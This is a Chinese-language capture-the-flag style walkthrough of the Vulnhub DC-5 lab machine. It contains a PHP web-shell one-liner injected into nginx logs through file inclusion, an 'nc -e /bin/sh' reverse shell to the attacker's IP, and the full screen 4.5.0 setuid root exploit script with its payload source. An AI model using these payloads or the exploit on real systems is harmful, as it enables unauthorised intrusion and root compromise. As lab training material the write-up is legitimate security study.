Vulnhub靶场DC-5练习


0x00 准备


下载链接:https://download.vulnhub.com/dc/DC-5.zip

介绍:
As far as I am aware, there is only one exploitable entry point to get in (there is no SSH either). This particular entry point may be quite hard to identify, but it is there. You need to look for something a little out of the ordinary (something that changes with a refresh of a page). This will hopefully provide some kind of idea as to what the vulnerability might involve.
And just for the record, there is no phpmailer exploit involved. 😃

只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的切入点可能很难识别,但它就在那里。你需要寻找一些不寻常的东西(随着页面的刷新而改变的东西)。这有望提供一些关于漏洞可能涉及的内容的想法。
仅供记录,不涉及 phpmailer 漏洞。😃

0x01 主机信息收集



执行命令:ifconfig
kali本机的ip:192.168.22.36,网卡eth0


发现目标主机ip:netdiscover -i eth0 -r 192.168.22.0/24
目标主机ip:192.168.22.37

在这里插入图片描述


探测目标主机开放端口:nmap -sS -sV -A -n 192.168.22.37
开放了80端口,使用的是nginx1.6.2;111端口,rpcbind服务。

在这里插入图片描述


0x02 站点信息收集



前面对这个环境的介绍有一句:随着页面的刷新而改变的东西。所以在浏览站点的时候要格外注意下刷新页面后变化的地方。


看一下站点的目录结构:dirsearch -u 192.168.22.37
这几个目录都是可以直接在页面上点击就可以访问到的,只有footer.php不可以。

在这里插入图片描述


访问一下这个目录:192.168.22.37/footer.php
后面在跟网站交互的时候可以多注意一下展示这个信息的地方。

在这里插入图片描述


访问站点,再contact页面下有个留言板提交,提交一下试一试。
发现每提交一次,这里的时间就会变一下,2017,2018,2019,2020循环。

在这里插入图片描述


综合上面的信息,留言板提交后的URL,可以猜测一下,thank.php中包含了footer.php文件。

php中常见的可以导致文件包含漏洞的函数:include(), include_once(), require(), re-quire_once(), fopen(), readfile()等。

下一步的思路就是去找thank.php的文件包含的参数。



0x03 漏洞查找与利用



1. 利用burpsuite爆破文件包含的参数


访问提交留言的页面,抓包,发送到Intruder模块,利用参数字典对参数进行爆破。
访问后抓包:

在这里插入图片描述

发送到Intruder模块,利用参数字典进行爆破,只选择一个参数:

在这里插入图片描述

payload这里导入保存的参数fuzz的字典:

在这里插入图片描述

对结果按照length进行排序,可以得到一个参数file。
就可以构造thank.php?file=/etc/passwd来读取文件。

在这里插入图片描述


2. 文件包含


多次访问:192.168.22.37/thankyou.php?file=footer.php ,可以发现下面的时间是在变化的,从2017到2020循环。确认了file参数确实有文件包含。

访问:192.168.22.37/thankyou.php?file=/etc/passwd,可以看到文件内容。

在这里插入图片描述


3. nginx日志挂马



前面获取到用了nginx,利用文件包含查看nginx的配置文件:?file=/etc/nginx/nginx.conf

在这里插入图片描述

得到了nginx的日志路径为:
访问成功的日志文件:/var/log/nginx/access.log
访问失败的日志文件:/var/log/nginx/error.log

在这里插入图片描述

传入一句话木马:?file=<?php system($_GET['x']) ?>
并让这句话解析成功。
在这里插入图片描述

再进行包含nginx的错误日志,利用一句话:?file=/var/log/nginx/error.log&x=ls
可以看到ls命令执行成功。

在这里插入图片描述


4. 反弹shell


在kali上执行:nc -lvp 9876
修改数据包的路径:/thankyou.php?file=/var/log/nginx/error.log&x=nc -e /bin/sh 192.168.22.36 9876

在这里插入图片描述

可以看到监听成功。

在这里插入图片描述


5.漏洞利用和提权


执行命令,进入交互式shell:python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述

找到具有suid权限的文件:find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

重新打开一个终端,利用searchsploit搜索screen4.5.0相关的漏洞:searchsploit screen 4.5.0

在这里插入图片描述

查看41154.sh看一下漏洞利用的方式:cat /usr/share/exploitdb/exploits/linux/local/41154.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

根据使用说明,创建两个文件/tmp/libhax.c和/tmp/rootshell.c,之后分别使用gcc进行编译,再删除创建的这两个文件,只留下编译生成的/tmp/libhax.so和/tmp/rootshell,然后再执行一系列命令。

直接在监听的shell中不好操作,所以思路是在kali中制作好三个文件,分别是编译生成的/tmp/libhax.so和/tmp/rootshell,还有将一系列的命令保存成一个shell脚本文件。然后将这三个文件传到目标机器上。

在kali的/tmp目录下,创建这两个文件。一定要在/tmp目录下,因为这个文件在目标主机上运行的时候就是在这个目录下。


执行命令:vim /tmp/libhax.c
输入文件内容:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

执行命令:vim /tmp/rootshell.c
输入文件内容:

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh",NULL);
}

执行命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
执行命令:gcc -o /tmp/rootshell /tmp/rootshell.c
会报一些警告类的错误,没有什么影响,可以忽略。

在这里插入图片描述

执行命令:rm -f /tmp/libhax.c
执行命令:rm -f /tmp/rootshell.c


将剩下的代码部分保存在dc5.sh的脚本文件中。
执行命令:vim /tmp/dc5.sh (这个文件也放在/tmp目录下,因为后面会利用python的SimpleHTTPServer服务向目标主机传文件,SimpleHTTPServer使用的时候需要先进入待分享的目录,这里就是/tmp,这三个要上传的文件都放在这里比较好操作一点。)
输入文件内容:

#!/bin/bash
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell

vim文件的时候,在终端窗口中,按esc,再按shift + : ,窗口底部应该出现冒号,输入set ff=unix,回车。再按shift + : ,输入wq。(linux中sh类型的文件一般要设置为unix格式,否则可能会报错)

在这里插入图片描述

将三个文件传输到靶机:


kali本机先进入/tmp目录: cd /tmp
再开启SimpleHTTPServer服务,kali本地执行:python2 -m SimpleHTTPServer ,这里后面没跟端口号,就是使用的默认端口8000。

在这里插入图片描述

kali连接的shell中,分别执行:
cd /tmp
wget http://192.168.22.36:8000/libhax.so
wget http://192.168.22.36:8000/rootshell
wget http://192.168.22.36:8000/dc5.sh

在这里插入图片描述

给dc5.sh添加执行权限:chmod +x dc5.sh

在这里插入图片描述

执行脚本:./dc5.sh
报错:
在这里插入图片描述

/tmp/rootshell: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34’ not found (required by /tmp/rootshell):报错原因是在kali这个高版本的linux中编译了文件,但是dc-5是低版本的。

最简便的解决方案就是下载一个2018年的kali,编译一下两个文件。

其他解决方案:在高版本的kali中编译/tmp/libhax.c和/tmp/rootshell.c时,指定GLIBC的版本。



执行完脚本之后,执行命令:whoami
就会有root权限了,进入/root目录即可发现flag。



0x04 总结



主机信息收集:

  1. netdiscover探测目标主机ip。
  2. nmap探测开放端口和服务。

站点信息收集:

  1. dirsearch查看网站目录结构。
  2. 利用burpsuite的Intruder模块,爆破文件包含的参数。

漏洞利用:

  1. 利用文件包含,进行nginx日志挂马。
  2. 反弹shell。
  3. screen4.5.0漏洞利用。



  • 30
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值